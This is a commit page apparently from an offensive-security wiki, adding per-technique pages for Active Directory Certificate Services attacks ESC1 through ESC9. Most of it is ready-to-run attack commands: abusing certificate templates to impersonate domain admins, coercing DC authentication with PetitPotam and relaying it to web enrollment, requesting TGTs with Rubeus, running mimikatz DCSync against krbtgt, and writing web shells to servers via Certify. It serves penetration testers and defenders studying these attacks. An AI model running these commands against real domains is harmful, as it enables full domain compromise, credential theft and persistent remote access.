Skip to content

Commit c4d9061

Browse files
committed
AD CS ESC Attacks
1 parent dbb4b01 commit c4d9061

15 files changed

+669
-604
lines changed

docs/active-directory/ad-adcs-esc.md

Lines changed: 14 additions & 604 deletions
Large diffs are not rendered by default.
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
# Active Directory - Certificate ESC1
2+
3+
## ESC1 - Misconfigured Certificate Templates
4+
5+
> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
6+
7+
**Requirements**
8+
9+
* Template that allows for AD authentication
10+
* **ENROLLEE_SUPPLIES_SUBJECT** flag
11+
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
12+
13+
**Exploitation**
14+
15+
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
16+
17+
```ps1
18+
Certify.exe find /vulnerable
19+
Certify.exe find /vulnerable /currentuser
20+
# or
21+
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
22+
# or
23+
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
24+
# or
25+
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
26+
```
27+
28+
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
29+
30+
```ps1
31+
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
32+
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
33+
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
34+
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
35+
```
36+
37+
* Use OpenSSL and convert the certificate, do not enter a password
38+
39+
```ps1
40+
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
41+
```
42+
43+
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
44+
45+
```ps1
46+
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
47+
```
48+
49+
**WARNING**: These certificates will still be usable even if the user or computer resets their password!
50+
51+
**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
52+
53+
## References
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Active Directory - Certificate ESC2
2+
3+
## ESC2 - Misconfigured Certificate Templates
4+
5+
**Requirements**
6+
7+
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
8+
9+
**Exploitation**
10+
11+
* Find template
12+
13+
```ps1
14+
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
15+
# or
16+
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
17+
```
18+
19+
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc01/).
20+
21+
## References
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Active Directory - Certificate ESC3
2+
3+
## ESC3 - Misconfigured Enrollment Agent Templates
4+
5+
> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
6+
7+
* Request a certificate based on the vulnerable certificate template ESC3.
8+
9+
```ps1
10+
$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3'
11+
[*] Saved certificate and private key to 'john.pfx'
12+
```
13+
14+
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
15+
16+
```ps1
17+
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
18+
```
19+
20+
## References
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# Active Directory - Certificate ESC4
2+
3+
## ESC4 - Access Control Vulnerabilities
4+
5+
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
6+
7+
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
8+
9+
```ps1
10+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
11+
```
12+
13+
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
14+
15+
```ps1
16+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
17+
18+
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
19+
C:\>StandIn.exe --adcs --filter WebServer --ess --add
20+
```
21+
22+
* Perform ESC1 and then restore the value
23+
24+
```ps1
25+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
26+
```
27+
28+
Using Certipy
29+
30+
```ps1
31+
# overwrite the configuration to make it vulnerable to ESC1
32+
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
33+
# request a certificate based on the ESC4 template, just like ESC1.
34+
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'
35+
# restore the old configuration
36+
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
37+
```
38+
39+
## References
40+
41+
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Active Directory - Certificate ESC5
2+
3+
## ESC5 - Vulnerable PKI Object Access Control
4+
5+
> Escalate the privileges from **Domain Administrator** in the child domain into **Enterprise Administrator** at the forest root.
6+
7+
**Requirements**:
8+
9+
* Add new templates to the "Certificate" Templates container
10+
* "WRITE" access to the `pKIEnrollmentService` object
11+
12+
**Exploitation**:
13+
14+
* Use `PsExec` to launch `mmc` as SYSTEM on the child DC: `psexec.exe /accepteula -i -s mmc`
15+
* Connect to "Configuration naming context" > "Certificate Template" container
16+
* Open `certsrv.msc` as SYSTEM and duplicate an existing template
17+
* Edit the properties of the template to:
18+
* Granting enroll rights to a principal we control in the child domain.
19+
* Including Client Authentication in the Application Policies.
20+
* Allowing SANs in certificate requests.
21+
* Not enabling manager approval or authorized signatures.
22+
* Publish the certificate template to the CA
23+
* Publish by adding the template to the list in `certificateTemplate` property of `CN=Services`>`CN=Public Key Services`>`CN=Enrollment Services`>`pkiEnrollmentService`
24+
* Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
25+
26+
## References
27+
28+
* [From DA to EA with ESC5 - Andy Robbins - May 16, 2023](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Active Directory - Certificate ESC6
2+
3+
## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
4+
5+
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
6+
7+
**Exploitation**
8+
9+
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
10+
11+
```ps1
12+
Certify.exe cas
13+
```
14+
15+
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
16+
17+
```ps1
18+
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
19+
```
20+
21+
**Mitigation**
22+
23+
* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
24+
25+
## References
26+
27+
* [AD CS: from ManageCA to RCE - February 11, 2022 - Pablo Martínez, Kurosh Dabbagh](https://web.archive.org/web/20220212053945/http://www.blackarrow.net/ad-cs-from-manageca-to-rce//)
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
# Active Directory - Certificate ESC7
2+
3+
## ESC7 - Vulnerable Certificate Authority Access Control
4+
5+
**Exploitation**
6+
7+
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
8+
9+
```ps1
10+
Certify.exe find /vulnerable
11+
```
12+
13+
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
14+
15+
```ps1
16+
Certify.exe setconfig /enablesan /restart
17+
```
18+
19+
* Request the certificate with the desired SAN.
20+
21+
```ps1
22+
Certify.exe request /template:User /altname:super.adm
23+
```
24+
25+
* Grant approval if required or disable the approval requirement
26+
27+
```ps1
28+
# Grant
29+
Certify.exe issue /id:[REQUEST ID]
30+
# Disable
31+
Certify.exe setconfig /removeapproval /restart
32+
```
33+
34+
Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
35+
36+
```ps1
37+
# Get the current CDP list. Useful to find remote writable shares:
38+
Certify.exe writefile /ca:SERVER\ca-name /readonly
39+
40+
# Write an aspx shell to a local web directory:
41+
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
42+
43+
# Write the default asp shell to a local web directory:
44+
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
45+
46+
# Write a php shell to a remote web directory:
47+
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
48+
```
49+
50+
## References
51+
52+
* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
# Active Directory - Certificate ESC8
2+
3+
## ESC8 - Web Enrollment Relay
4+
5+
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
6+
7+
Require [SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket/pull/1101) PR #1101
8+
9+
* **Version 1**: NTLM Relay + Rubeus + PetitPotam
10+
11+
```powershell
12+
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
13+
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
14+
# For a member server or workstation, the template would be "Computer".
15+
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
16+
17+
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
18+
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
19+
git clone https://github.com/topotam/PetitPotam
20+
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
21+
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
22+
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
23+
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
24+
25+
# Use the certificate with rubeus to request a TGT
26+
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
27+
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
28+
29+
# Now you can use the TGT to perform a DCSync
30+
mimikatz> lsadump::dcsync /user:krbtgt
31+
```
32+
33+
* **Version 2**: NTLM Relay + Mimikatz + Kekeo
34+
35+
```powershell
36+
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
37+
38+
# Mimikatz
39+
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
40+
41+
# Kekeo
42+
kekeo> base64 /input:on
43+
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
44+
45+
# Mimikatz
46+
mimikatz> lsadump::dcsync /user:krbtgt
47+
```
48+
49+
* **Version 3**: Kerberos Relay
50+
51+
```ps1
52+
# Setup the relay
53+
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
54+
55+
# Run mitm6
56+
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
57+
```
58+
59+
* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
60+
61+
```powershell
62+
https://github.com/bats3c/ADCSPwn
63+
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
64+
adcspwn.exe --adcs cs.pwnlab.local
65+
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
66+
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
67+
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
68+
69+
# ADCSPwn arguments
70+
adcs - This is the address of the AD CS server which authentication will be relayed to.
71+
secure - Use HTTPS with the certificate service.
72+
port - The port ADCSPwn will listen on.
73+
remote - Remote machine to trigger authentication from.
74+
username - Username for non-domain context.
75+
password - Password for non-domain context.
76+
dc - Domain controller to query for Certificate Templates (LDAP).
77+
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
78+
output - Output path to store base64 generated crt.
79+
```
80+
81+
* **Version 5**: Certipy ESC8
82+
83+
```ps1
84+
certipy relay -ca 172.16.19.100
85+
```
86+
87+
## References
88+
89+
* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
90+
* [AD CS relay attack - practical guide - @exandroiddev - June 23, 2021](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# Active Directory - Certificate ESC9
2+
3+
## ESC9 - No Security Extension
4+
5+
**Requirements**
6+
7+
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
8+
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
9+
* Certificate specifies `Any Client` authentication EKU
10+
* `GenericWrite` over any account A to compromise any account B
11+
12+
**Scenario**
13+
14+
<[email protected]> has **GenericWrite** over <[email protected]>, and we want to compromise <[email protected]>.
15+
<[email protected]> is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
16+
17+
* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
18+
19+
```ps1
20+
certipy shadow auto -username [email protected] -p Passw0rd -account Jane
21+
```
22+
23+
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
24+
25+
```ps1
26+
certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator
27+
```
28+
29+
* Request the vulnerable certificate template ESC9 from Jane's account.
30+
31+
```ps1
32+
certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
33+
# userPrincipalName in the certificate is Administrator
34+
# the issued certificate contains no "object SID"
35+
```
36+
37+
* Restore userPrincipalName of Jane to <[email protected]>.
38+
39+
```ps1
40+
certipy account update -username [email protected] -password Passw0rd -user [email protected]
41+
```
42+
43+
* Authenticate with the certificate and receive the NT hash of the <[email protected]> user.
44+
45+
```ps1
46+
certipy auth -pfx administrator.pfx -domain corp.local
47+
# Add -domain <domain> to your command line since there is no domain specified in the certificate.
48+
```
49+
50+
## References

0 commit comments

Comments
 (0)